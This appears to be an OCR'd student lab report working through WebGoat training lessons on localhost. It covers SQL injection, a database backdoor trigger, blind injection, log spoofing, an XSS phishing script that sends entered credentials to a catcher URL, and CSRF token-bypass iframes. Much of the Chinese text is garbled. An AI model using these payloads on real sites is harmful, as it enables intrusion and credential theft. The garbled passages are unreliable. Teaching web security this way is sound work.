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root@-changcheng: ~ @ e O
MHH(F) fREE(E) EE(V) HEZ(S) Lix(T) HEIH)

root@changcheng:-# java -jar webgoat-container-7.0.1-war-exec.jar
Error: Unable to access jarfile webgoat-container-7.0.1-war-exec.jar
root@changcheng:-# java -jar webgoat-container-7.0.1-war-exec.jar
Error: Unable to access jarfile webgoat-container-7.0.1-war-exec.jar
root@changcheng: -#

root@changcheng:-# java -jar webgoat-container-7.0.1-war-exec.jar
Error: Unable to access jarfile webgoat-container-7.0.1-war-exec.jar
root@changcheng:-# [

1. IFELRKAE CHEDIFEE ZE, REANRYERESZKWebGoat7.1 T#F)E, HEBAhomed, FHIRHA
java -jar webgoat-server-7.1-exec.jar (FE N FEHIIRZ7T AKIRAE, FkGSHRREASTEEHR—T)

-

root@changcheng: ~ e ® @1
NHF(F) fmIB(E) EE(N) HEE((S) &R #FEEIH)

root@changcheng:-# java -jar webgoat-container-7.l-exec.jar =
HH 23, 2018 10:57:13 £ org.apache.coyote.httpll.HttpllProtocol init I
{882 : Initializing ProtocolHandler ["http-bio-8688"]

HH 23, 2018 10:57:14 £ org.apache.catalina.core.StandardService startIntern

al

{8 : Starting service Tomcat

HH 23, 2018 10:57:14 £ org.apache.catalina.core.StandardEngine startInterna

1

{82 : Starting Servlet Engine: Apache Tomcat/7.8.59

HH 23, 2018 10:57:23 £ org.apache.tomcat.util.digester.Digester body

{S8 : TLD skipped. URI: http://java.sun.com/jstl/core rt is already defined

HH 23, 2018 10:57:23 £ org.apache.tomcat.util.digester.Digester body

{8 : TLD skipped. URI: http://java.sun.com/jstl/core is already defined

HH 23, 2018 10:57:23 £ org.apache.tomcat.util.digester.Digester body

{8 : TLD skipped. URI: http://java.sun.com/jsp/jstl/core is already defined

HH 23, 2018 10:57:23 £ org.apache.tomcat.util.digester.Digester body

{S8 : TLD skipped. URI: http://java.sun.com/jstl/fmt_rt is already defined

H B 23, 2018 10:57:23 £ org.apache.tomcat.util.digester.Digester body

{8 : TLD skipped. URI: http://java.sun.com/jstl/fmt is already defined

H B 23, 2018 10:57:23 £ org.apache.tomcat.util.digester.Digester body

{8 : TLD skipped. URI: http://java.sun.com/jsp/jstl/fmt is already defined

fH B 23, 2018 10:57:23 E 4 org.apache.tomcat.util.digester.Digester body

{8 : TLD skipped. URI: http://java.sun.com/jsp/jstl/functions is already define

e Id -
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Username

Password

The following accounts are built into Webgoat
Account User Password

Webgoat User guest guest

Webgoat Admin

webgoat webgoat
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= How to work with WebGoats i =

Show Solution [l Show Plan [ESE G R=IE5T

Congratulations. You have successfully completed this lesson.

How To Work With WebGoat

Welcome to a brief overview of WebGoat.

Environment Information

WebGoat uses the Apache Tomcat server but can run in any application server. It is
configured to run on localhost although this can be easily changed, see the "Tomcat
Configuration" section in the Introduction.

The WebGoat Interface

Cookies [
Parameters

Cookies

Fiakd  Valus

Params

Paramvalue

2.SQL%4

Numeric SQL Injection

JRHERIXBE—SQLIES]

SELECT * FROM weather_data WHERE station = [station]

A LA BRSO stationF BUE #h 7B B — Mk B K101 OR 1=1

A LA A kail b B H B KIRFF R 5K TR A SR ET I .

¥ RIERBSCN: SELECT * FROM weather_data WHERE station = 101 OR 1=1

3
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Go back one page ethods behind an attack are easy to learn and the damage caused can range from
ls[arlel U1 oI s T (Na [ AR G BSA [ I "0 N s derable to complete system compromise. Despite these risks, an incredible number
systems on the internet are susceptible to this form of attack.

Not only is it a threat easily instigated, it is also a threat that, with a little common-sense
and forethought, can easily be prevented.

ripting (Xss) Itis always good practice to sanitize all input data, especially data that will used in 0S5
mproper Error Handling command, scripts, and database queries, even if the threat of SQL injection has been
prevented in some other manner.
General Goal(s):

The form below allows a user to view weather data. Try to inject an SQL string that results
in all the weather data being displayed.

Select your local weather station: | Columbia v

\TH Injection
Go!

L Injection

SELECT * FROM weather data W

STATION NAME |STATE|MIN_TEMP MAX TEMP
104 Houston [TX 20 120

G ] Console O Debugger {}Style Edi.. @ Performa.. £k Memory = Network H-BH B & 0O &

+ Search HTML & [l m Computed Animations Fonts
<div id="message" class="info"></div> -~ Filter Styles + &
<div id="lessonContent"= :

<formaccept-charset="UNKNOWN" method="POST" name="form" Pseudo-elements
ac-;plfn— #attack/101829144/1100" enctype=""> @@ e ——
Select your local weather station: IEIETE'K { inline
<select name="station"> 1
L <option MERRUIER- colunbia</option-_[EEEE bootstrap.min.css:7
<optionval 102"=Seattle</option= i+ —siring -
<option value="103">New York</option= L e b
cantdnn walia—"1AA"sUnnctane fnntinns e T e I. e
< nt-wrapper.panel diviflessonContent form p select ) box-s1zing: border-box;

BT 1=1EmML, Kifrgo, BEFTAMTHIRS, BRI,
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of systems on the internet are susceptible to this form of attack.

Mot only is it a threat easily instigated, it is also a threat that, with a little common-sense
and forethought, can easily be prevented.

= Error Handling Itis always good practice to sanitize all input data, especially data that will used in 0S

on Flaws

Select your local weather station: | Columbia v
Go!

SELECT * FROM weather data WHERE station = 101 or 1=1
STATION |NAME STATE [MIN_TEMP MAX_TEMP
101 Columbia MD -10 102

102 Seattle WA -15 90

103 New York NY -10 110

104 Houston T 20 120

10001 Camp David MD -10 100

11001 Ice Station Zebra |NA -60 30

Log Spoofing

Cookies / Parameters

o HEMKE, HERBESENERTA S ZRMN OIS H—% HE EUsernamefi A

¢ 7zh%0d%0alogin Succeeded for username: admin

H H1%0d %02y CRLF#AT 75,78 Z % i N

command, scripts, and database queries, even if the threat of SQL injection has been
prevented in some other manner.
General Goal(s):

The form below allows a user to view weather data. Try to inject an SQL string that results
in all the weather data being displayed.

* Bet you can't do it again! This lesson has detected your successful attack
and has now switched to a defensive mode. Try again to attack a
parameterized query.

23
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Genera ~

* The grey area below represents what is going to be logged in the web server's log file.
* Your goal is to make it like a username "admin" has succeeded into logging in.
* Elevate your attack by adding a script to the log file.

User Name: | :eeded for username: admin

Password: | it l
Login |
Command a Login failed for username:
Numeric 5QL Injectio |

Cookies / Parameters

Cookie/s

name JSESSIONID

value 0DCO9DBECOIFETS355555BE9A093FCDS
comment

domain

maxAge -1

path

secure false

version |0
httpOnly | raise

Parameters

scr 1572295549
menu 1100 v

5B AT B R EATRIRI Dy & SR A
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Congratulations. You have successfully completed this lesson.

* The grey area below represents what is going to be logged in the web server's log file.
*Your goal is to make it like a username "admin" has succeeded into logging in.
* Elevate your attack by adding a script to the log file.

User Name: ‘ ‘

Password: ‘ ‘

e L Login failed for username: cc
Mumeric SOL Injection

gin Succeeded for username: 20154328
ing

XPATH Injection

Cookies / Parameters

Cookiels
name JSESSIONID
value ODCOSDBECDFETS355555BE94083FCD5
comment
Blind Numer Injectian domain

localhost-8080/WebGoat/start. mvciattack/1315528047/1100

XPATH Injection

o BT HEBARKIKS K FEL AMikeltest123. R HIr R 2= REE H MR THHIRE.
o ERFEMEKAN

cc'or 1=1 or'a'="a
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Congratulations. You have successfully completed this lesson.

The form below allows employees to see all their personal data including their salaries.
Authentication Flaws Your account is Mike/test123. Your goal is to try to see other employees data as well.

Welcome to WebGoat employee
intranet

Please confirm your username and password before viewing your
profile.

+*Required Fields

*User Name: ‘ |

*Password: ‘ |
| Submit |
Mike 11123 468100
John 63458 559833
Blind Nurneric SQL Injection
R _ e Sarah 23363 84000
Blind String SOL Injection

String SQL Injection
o FREAN, XREMWHEFEANTEEASL, WiE—NMKAER, ERAKZATH Or 1="1
e 'cc' OR''="1
SELECT * FROM user_data WHERE last_name = 'cc' OR '1'="1"



T RTIT N

* Now that you have successfully performed an SQL injection, try the same
type of attack on a parameterized query. Restart the lesson if you wish to
return to the injectable query.

Enter your last name:| cc' OR '1'="1 Go!

SELECT * FROM user data WHERE last name = 'cc' OR 'l'='1"

USERID [FIRST_NAME [LAST_NAME CC_NUMBER CC_TYPE |COOKIE |LOGIN
101 Joe snow 987654321 VISA 0
101 Joe sSnow 2234200065411 (MC 0
102 John Smith 2435600002222 (MC 0
102 John Smith 4352209902222 [AMEX 0
103 Jane Plane 123456789 MC 0
103 Jane Plane 333498703333 |AMEX 0
10312 |Jolly Hershey 176896789 MC 0
10312 |Jolly Hershey 333300003333 |(AMEX 0
10323 |(Grumpy youaretheweakestlink|673834489 MC 0
10323 |(Grumpy youaretheweakestlink|33413003333 |AMEX 0
15603 |Peter Sand 123609789 MC 0
15603 |Peter Sand 338893453333 |(AMEX 0
15613 |Joesph Something 33843453533 AMEX 0

LAB: SQL Injection

Stage 1: String SQL Injection

o fEFIString SQLIEARSHT & 43 K AE .

LA P NevilleZ® %, FEFEESRAN or 1=1 kK ERHITSQLIEAN, HE2RIGTFRKW. KIpasswordi
BAKENS, BElmAKE, ¥HZCH100
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Stage 1: Use 5tring SQL Injection to bypass authentication. Use SQL injection to log in as
the boss ("Neville') without using the correct password. Verify that Neville's prefile can be
viewed and that all functions are available (including Search, Create, and Delete).

¢ Goat Hills Financial

L Human Resources

_ommand Injection Lamry Stooge {emplaycc) e |

MNurneric SQL Injectio

Password ‘
Log Spoofing —————
| Login |
XPATH Injection .
String SOL Injection
0L Injection
e 2: Parameteriz
3: Numeric 5Q
1: P #37
Console [ Debugger {1} Style Edi.. @ Performa.. £k Memory = Network BE-8 B @ 0O & >
+ Search HTML & [ m Computed Animations Fonts
=label></label=> Filter Styles + e,
<hr= +
clabels Pseudo-elements
Password This Element
<input name="password" size="10"; element { inline
type="password"> 3
</label> .
input, button, select, bootstrap.min.css:7
<hr>

textarea {

<input name="action" value="Login" type="submit">

</form> " font-family: inherit;
. . . . font-size: inherit;
< divilesson_login divitlesson_login_txt formaforml label m line-neight: inherit:

BRER, B
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Stage 2
Stage 2: Block SQL Injection using a Parameterized Query.

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSI
OF WEBGOAT

Implement a fix to block SQL injection into the fields in question
the Login page. Repeat stage 1. Verify that the attack is no long
effective.

* You have completed Stage 1: String SQL Injection.
* Welcome to Stage 2: Parameterized Query #1

¢ Goat Hills Financial

i Human Resources

XPATH Injection Welcome Back Neville - Staff Listing Page
String SQL Injection

LAB: SOL Injection

Stage 1: String SQL Injectio Select from the list below

Stage 2: Parameteri:

Larry Stooge (employee)
Stage 3: Numeric 5 Moe Stooge (manager)
Stage 4: Parameterized Query #2 Curly Stooge (employee) | SearchStaff |
Eric Walker (employee) |
Tom Cat (employee)

Blind Numeric SQL Injection Jerry Mouse (hr)

David Giambi (manager) | DeleteProfile |
Bruce McGuirre (employee)
Sean Livingston (employee) |
Joanne McDougal (hr)

John Wayne (admin) w

ViewProfile |

CreateProfile

Blind String SOL Injection

Logout

el 1 EEE =HlE D iRikEE () HlEE. (@ fEfE k ATF = g
+ 6/7 © Password 8 & ©

:before ~
<div class="col-md-8"=>
=divclass="col-md-12" align="left"></div=
<div class="col-md-12" align="1left">
<div id="lesson-progress" class="info"></div>

w <div id="1lesson-content-wrapper" class="panel"=
<! --HTML fragment correpsonding to the lesson content--=
<div id="lessonContent"></div=
<div id="message" class="info"></div>

<sty < yle=
"

<div id="lesson wrapper"=</div> i

< ‘main-content div.row div.col-md-8 div.col-md-12 divitlesson-content-wrapper.panel

Stage 3:Numeric SQL Injection

o ZAHKHKRELENE, WEBFEALTENENER. SOENERTSQLEN @i —N 8 R THIK larry, 3
W HBOSSHIK 15 &.

o SefEF LT ILarryf ik -
FARE TNARMNEEEHBRABERNZRTKE
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el
Stage 1: Use 5tring SQL Injection to bypass authentication. Use SQL injection to log in as

the boss ("Neville') without using the correct password. Verify that Neville's prefile can be
viewed and that all functions are available (including Search, Create, and Delete).

¢ Goat Hills Financial

L Human Resources

_ommand Injection Lamry Stooge {emplaycc) e |

Password ‘
| Login |
2: Parameteriz
3: Numeric SQL Injection
}: Parameterized Query #2
8 {1 Inspector Console [ Debugger {1} Style Edi.. @ Performa.. £k Memory = Network BE-8 B @ 0O & >
+ Search HTML & [ m Computed Animations Fonts
clabel:-cflabel:- Filter Styles + T
<phr> N
clabels Pseudo-elements
Password

This Element

<input name="password" size="10"; element { inline
type="password"> 3
</label> )
<brs input, button, select, bootstrap.min.css:7
<input name="action" value="Login" type="submit"> Lextares 1
</forms " font-family: inherit;
font-size: inherit;
< divilesson_login divitlesson_login_txt formaforml label m

line-heiaght: inherit:

¥ivaluefE i 8101 or 1=1 order by salary desc, XEEZR KIS BMSHHERIE —4
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| WebGoat x|+
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; s pr FTUITIAIT RESUUTCES ~
S el ==zt Welcome Back Neville - Staff Listing Page
onng
XPATH Injection
String SOL Injection
Select from the list below
LAB: 50L Injection
Larry Stoog \ -
Moe Stooge (manager) Searchstaff
Curly Stooge (employee) SR
Eric Walker (employee) ViewProfile
Tom Cat (employee) -
Jerry Mouse (hr) S
David Giambi (manager) DeleteProfile
Bruce McGuirre (employee)
Blind Numeric SOL Injection Sean Livingston (employee)
] G ST [t Joanne McDougal (hr) Logout
i 2] =21 =y John Wayne (admin) v
5 I _________________________________________ !
=ter Tampering i H :
. Cookies / Parameters Loy
O Console  C Debugger {}Style Edi.. @& Performa.. {kMemory = Network BH-8 B @ 0 8 x
+ lof 1 * maxlength 0 & @& m Computed Animations Fonts
t:before ~ Filter Styles + .
<div class="col-md-8"> ""A
<div class="col-md-12" align="1left"></div> Pseudo-elements
=div class="col-md-12" align="1left"> X .
<div id="lesson-progress" class="info"></div> jinds]Erenent
w <div id="lesson-content-wrapper" class="panel"> element L { inline

=!--HTML fragment correpsonding to the lesson content-->
<div id="lessonContent"=</div=

<div id=" finfo"s</div=
<sty S div.col-md-8
<div id=" </diy>

¢ div.row div.col-md-8

mifiViewProfilest %, BIW &HEHZRHFHL(E B

div.col-md-12 diviflesson-content-wrapper.panel

i

#lesson-content-wrapper { main.css:200
padding: S5px;

vl

.panel 1 { main.css:545




WebGoat - Mozilla Firefox e @ O
| WebGoat x|+

€ | ¥ | @ | localhost:8080/WebGoat/start.mvcitattack/1537271095/110( ¢ | |Q Search w8 3 # =

[ Most Visited~ Jll Offensive Security % Kali Linux " Kali Docs S Kali Tools % Exploit-DB Wy Aircrack-ng gdKali Forums " NetHunter  »

Bl ] | ~
I [}
implement a fix to block SQL injec the Login page. i
I [}
Repeat stage 1. Verify that the attack is no longer effective. |
I [}
1 & I
1 54 I
¢ Goat Hills Financial :
I * [}
! L Human Resources i
I [}
1 Welcome Back Larry |
1 I
i First Name Neville Last Name Bartholomeyv i
| i
| Street: |
I [}
1 I
1 I
i Phone i
I [}
I . [}
I SSN: i
I [}
I [}
| Credit Carc i
I [}
I [}
I ey . [}
: Co = :
I [}
s Disciplina |
L n 112005 |
st : i
. 1 EditProfile : Logout i
I [}
Database Backdoors : :
I [}

Blind Numeric SG : : )
W 1 Inspector Console [ Debugger {} Style Edi.. @ Performa.. €k Memory = Network BE-8 B & 08 x
+ lof 5  value Q & & m Computed Animations Fonts

<di E on-hint-container" class="1¢ an-nin style="di 1y . -~ Filter Styles + o
1ane; div= & ! :":A
</div= Pseudo-elements
<div class="col-md-12" align="1left"> Thie Element
=div 1 -progress" class="info"=</div= - N —
lesson-content-wrapper” class="panel"> element L+ { inline
<!--HTML fragment correpsonding to the lesson content--= t
<div id="lessonContent"></div> #lesson-content-wrapper - { main.css:200

<div id=

essage" class="info"></div> )
o .'l_ / padding: 5px;

<div id="1lesson wraoper"></div> v 1

< div.row div.col-md-8 div.col-md-12 divitlesson-content-wrapper.panel -panel © { mein.css:545

SQLF R E A (String SQL Injection)

s BHKER: IMTREAVFMEHEENMMNNEHNFS, FASQLENEFFNERRSHERRL.
o WAIHE—ANKER, BWLAAEEKWHERERE R AEEIAT, FTUAMMIEER or 1=1, RINBE T E&HMER R

Fo

&

Database Backdoors

HWIANIENIEA]: 101; update employee set salary=65000,



o BT RMEMIEH

—_

WebGoat - Mozilla Firefox e ® 6
WebGoat x +
€ | (O | localhost:8080/WebGoat/start. mvc#attack/980912706/1100 ¢ | |Q Search T E 3 # =
fi5 Most Visited~  Jll Offensive Security S Kali Linux "% Kali Docs S Kali Tools = Exploit-DB Wy Aircrack-ng g Kali Forums ‘e NetHunter  »

Stage 2: Use String SQL Injection to inject a backdoor. The second stage of this lesson is
to teach you how to use a vulneable fields to inject the DB work or the backdoor. Now try
to use the same technique to inject a trigger that would act as SQL backdoor, the syntax
of a trigger is:

CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN
UPDATE employee SET email="john@hackme.com"WHERE userid = NEW.userid

Note that nothing will actually be executed because the current underlying DB doesn't
support triggers.

* You have succeeded in exploiting the vulnerable query and created another
SQL statement. Now move to stage 2 to learn how to create a backdoor or a
DB worm

User ID:

select userid, password, ssn, salary, email from employee where userid=|101;update

employee set salary = 65000 where userid=101;|

| submit |
User ID |Password |SSN Salary|E-Mail
101 larry 386-09-5451|65000 (larry@stooges.com

Cookies / Parameters

Cookiels

name |SESSIONID

value ODCOSDBECOIFET5355555BE9A093FCD5
comment

domain

maxAae -1

101;CREATE TRIGGER yghBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN
UPDATE employee SET email="20154322@qq.com' WHERE userid = NEW.userid@l&—ANE17, BEH
B BIHRAE A0 P IDER BN BT
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Congratulations. You have successfully completed this lesson.

User ID:‘ |

select userid, password, ssn, salary, email from employee where userid=|101; CREATE
TRIGGER yghBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN
UPDATE employee SET email='20154328@qq.com' WHERE userid =

NEW.userid

| suomit |
User ID |Password [SSN Salary|E-Mail
101 larry 386-09-5451 (65000 |larry@stooges.com

Cookies / Parameters

Cookiels

name JSESSIONID

S0L Injection

value 0DCO9DBECOIFETS355555BE9AD93FCD5
comment

domain

maxAge -1

path

Blind Murr secure false

Blind String SQL Injection version 0

¥ 781 (Blind Numeric SQL Injection)

o BHTUHT THRRERFHIMAKSHHEERETARY WREERFKSHRBLHPIF .

Je%i 101 AND ((SELECT pin FROM pins WHERE cc_number="1111222233334444") > 4000);

Account number is valid.J& P B &, FHiiREHA 101 AND ((SELECT pin FROM pins WHERE
cc_number='1111222233334444") > 4000);, &R 2

Account number is valid.l P E %, FiRiR

¥
A
fm
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Congratulations. You have successfully completed this lesson.

The form below allows a user to enter an account number and determine if it is valid or
not. Use this form to develop a true / false test check other entries in the database.

The goal is to find the value of the field pin in table pins for the row with the cc_number
0f 1111222233334444. The field is of type int, which is an integer.

Put the discovered pin value in the form to pass the lesson.

Enter your Account Number: | 101 AND ({SELECT pin FROM I Go!

Ve Injectian Account number is valid.

Log Spoofing

XPATH Injection

Cookies / Parameters

L Injection

Cookiels

name JSESSIONID

value 0DCD9DBECD1IFE75355555BE9A093FCD5
comment

domain

maxAge -1

path

o H#iA101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2500 );, 32
Invalid account number., i 55 BEiR P, BRATERIIEAE2000~25002 18]

MAZak, ZREWR, KRBT H2364
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Congratulations. You have successfully completed this lesson.

The form below allows a user to enter an account number and determine if it is valid or
not. Use this form to develop a true / false test check other entries in the database.

The goal is to find the value of the field pin in table pins for the row with the cc_number
0f 1111222233334444. The field is of type int, which is an integer.

Put the discovered pin value in the form to pass the lesson.

Enter your Account Nu mber: ‘ 2364 l Go!

Cookies / Parameters

Cookiels

name JSESSIONID

value 0DCO9DBECOIFETS355555BE94093FCD5
comment

domain

maxAge -1

path

secure false

version ]
httpOnly | false

Parameters

BFRHEEAN (Blind String SQL Injection)

#1101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1)
>'Z ) ATRE R, RILLE R AAccount number is valid, TkFER. BEKXKEMEZEEN, BREAHEEFERN
J
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The form below allows a user to enter an account number and determine if it is valid or
not. Use this form to develop a true / false test check other entries in the database.

Reference Ascii Values: "A'=65'Z'=90"'a' =97 '2' = 122

The goal is to find the value of the field name in table pins for the row with the
cc_number of4321432143214321. The field is of type varchar, which is a string.

Put the discovered name in the form to pass the lesson. Only the discovered name
should be put into the form field, paying close attention to the spelling and capitalization.

Enter your Account Number: lOlAND{SUBSTRING{{SELE(I Go!

Account number is valid

XPATH Injection
String SQL Injection Cookies / Parameters
LAB: 50L Inj .
Cookie/s
name |SESSIONID
value DDCOSDBECOLFET5355555BEA003FCD5
comment
domain
maxAge -1
Blind Numeric SQL Injection path

o BTREFE-ATH

# A\101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) >'h' ); 5 Bl.4% 5
AAccount number is valid, &%

o BURMERE TN
HE ERPRTR, RAHERFP 2Rl
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Congratulations. You have successfully completed this lesson.

The form below allows a user to enter an account number and determine if it is valid or
not. Use this form to develop a true / false test check other entries in the database.

Reference Ascii Values: 'A'=65'Z'=90"'a' =97 '2' = 122

The goal is to find the value of the field name in table pins for the row with the
cc_number of 4321432143214321. The field is of type varchar, which is a string.

mpreper Error Handling Put the discovered name in the form to pass the lesson. Only the discovered name
should be put into the form field, paying close attention to the spelling and capitalization.

Enter your Account Number: ‘ Jill I Go!

njection Flaws

Cookies / Parameters

LAB: SQL Injection COOkIefS

name JSESSIONID

value 0DCO9DBECOIFETS355555BE9A093FCD5
3: Numeric 50L Injectio comment

4: Parameteri Tiere S5 domain

maxAge -1

path

Stage 1: String 50Q

Stage 2: Paramete

3.Cross-Site Scripting (XSS)

5 A4y BT (Phishing with XSS)

o BHERREXRT —ANUHPHFAEXSSIKFFEN, fhinfilzFfalidi. EREANIFIFHxssFhtmiE N L HiX L B F5.
fF FIXSSHIHTMLIE N HI/E— N, K H i EsearchiEd, R IIT:



</form>
<script>
function hack () {
XS55Image=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&u
ser=" + document.phish.user.value + "&password=" + document.phish.
pass.value + "";
alert ("Had this been a real attack... Your credentials were just s
tolen. User Name = " + document.phish.user.value + " Password = "
+ document.phish.pass.value) ;
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" wvalue="login" onclick="hack
0">
</form>
<br>
<br>
<HR>

BMANETHMI, SFRPAMEEKELDI, BEEmAMNSENED
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Had this been a real attack... Your credentials were just stolen. User
Name = cc Password = 123

o)

5 KIXSS (Reflected XSS Attacks)
EONEA B EHEERURL, 0, mtesdsHEHE
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g Bixss (Stored XSS Attacks)

o 7fETitle %y \“Test Stored XSS”,
£ Message B #i A\
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localhost: 8080/WebGoat/start. mvci

4. CSRF

Cross Site Request Forgery(CSRF)

o LIS HIR: M EARE—Hemail. X4 emaill&—/image, HURLIEH —MEEFIER.
o CSRFEtREZEF, AMRBEMHEER
ETitle#iN: 20154328, 7EMessage¥ii:

<img src="http://localhost:8080/WebGoat/attack?Screen=280
&menu=900&transferFunds=5000" width="1" height="1" />

A #“Submit’, ZEMessage List T I — &R ML FE, W T EBFixR:



= Cross Site Request Forgery (CSRF)

-
Show Solution LGRS Restart Lesson
Congratulations. You have successfully completed this COOkIeS
lesson. Parame.
Your goal is to send an email to a newsgroup. The email contains .
an image whose URL is pointing to a malicious request. In this Cookiels
lesson the URL should point to the "attack" servlet with the lesson's e
"Screen” and "menu” parameters and an extra parameter value
"transferFunds" having an arbitrary numeric value such as 5000. T T
You can construct the link by finding the "Screen” and "menu” domain
values in the Parameters inset on the right. Recipients of CSRF maxAge
emails that happen to be authenticated at that time will have their path
funds transferred. When this lesson's attack succeeds, a green e
checkmark appears beside the lesson name in the menu on the version
left. httpOnly
Title:
Parameter
Message: |<iframe src="attack?Screen=282&amp;menu=900&amp;transfe cr p—
menu 300
stage
num 2

CSRF Prompt By-Pass

fETitle¥ A\ : 20154328; 7EMessagefiiA:

<iframe
src="attack?Screen=280&amenu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="30
on
onload="document.getElementById('frame2').src="attac
k?Screen=280&menu=900&transferFunds=CONFIRM'; ">
</fiframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="30
0o">

</fiframe>
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only Test Submit

per Error Handling

Title:

Message:

CSRF Token By-Pass

o ZETitle#iN: 20154328
fEMessagefi A1 1) AR5

WebGoat - Morzilla Firefox @ G €

Message Contents For: 20154328

20154328

How To Work With WebGoat

'Welcome to a brief overview of WebGoat.

Environment Information
WebGoat uses the Apache Tomcat server but can run in any application

run on localhost although this can be easily changed, see the "Tomcat C
the Introduction.

The WebGoat Interface

How To Work With WebGoat

'Welcome to a brief overview of WebGoat.

Environment Information

WebGoat uses the Apache Tomcat server but can run in any application
run on localhost although this can be easily changed, see the "Tomcat C
the Introduction.




<script>

var tokensuffix:;

function readFramel ()
{
var frameDoc = document.getElementById("framel"™) .conten
tDocument;
var form = frameDoc.getElementsByTagName ("form"™) [0];
tokensuffix = '&CSRFToken=' + form.CSRFToken.value;

loadFrame?2 () ;

function loadFrame?2 ()
{
var testFrame = document.getElementById("frame2");
testFrame.src="attack?Screen=273amenu=%00&transferFunds
=5000" + tokensuffix;

}
</script>

<iframe src="attack?Screen=273amenu=%00&transferFunds=main"
onload="readFramel () ;"
id="framel"™ frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></i

frame>
<iframe id="frame2" frameborder="1" marginwidth="0"

marginheight="0" width="800" scrolling=yes height="300"></i

frame>

F3Submit, #RJ57EMessage List 2 fi#7“CSRF Token By-Pass Attack”, T B ffizs:

Message Contents For: 20154328

Title: 20154328

How To Work With WebGoat

'Welcome to a brief overview of WebGoat.

Environment Information

WebGoat uses the Apache Tomcat server but can run in any application
run on localhost although this can be easily changed, see the "Tomcat C
the Introduction.

The WebGoat Interface

Message:
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. teanidi ., S, ZATthfod —SREICTFREE, BRE IR —E8 B FERFELRER, ERME/Z T2
E e RAH LW ERBAERE, FARZERFBBEMBTHRERER, RESMBANIE SR -MABHBRT
2, MELAERBERREE T HASHwiteupth X RZE K, &5 7T BHEKARFACGTH R NS BIRK

o ETIXKI LKL RIRZI M I AR T SQLIEN, XSS, CSRFEWHIBHREMGIE. WHE—KIRER, FMARERE
o #5% TR, BSQL, XSSXLEYLH KAH EHFMIRHMIRANL, Ml 7 IROBERERBEFRTG T, BERZMET
PRIBARER SRS RHBRYGE, RN, % SWEBHYE & KRRt ZE R % AT BRI KM, RIERAEEE
W, WPIRREAN, MEFEBR . EBRT .

3, F :https://www.cnblogs.com/20154328changcheng/p/9078133.html
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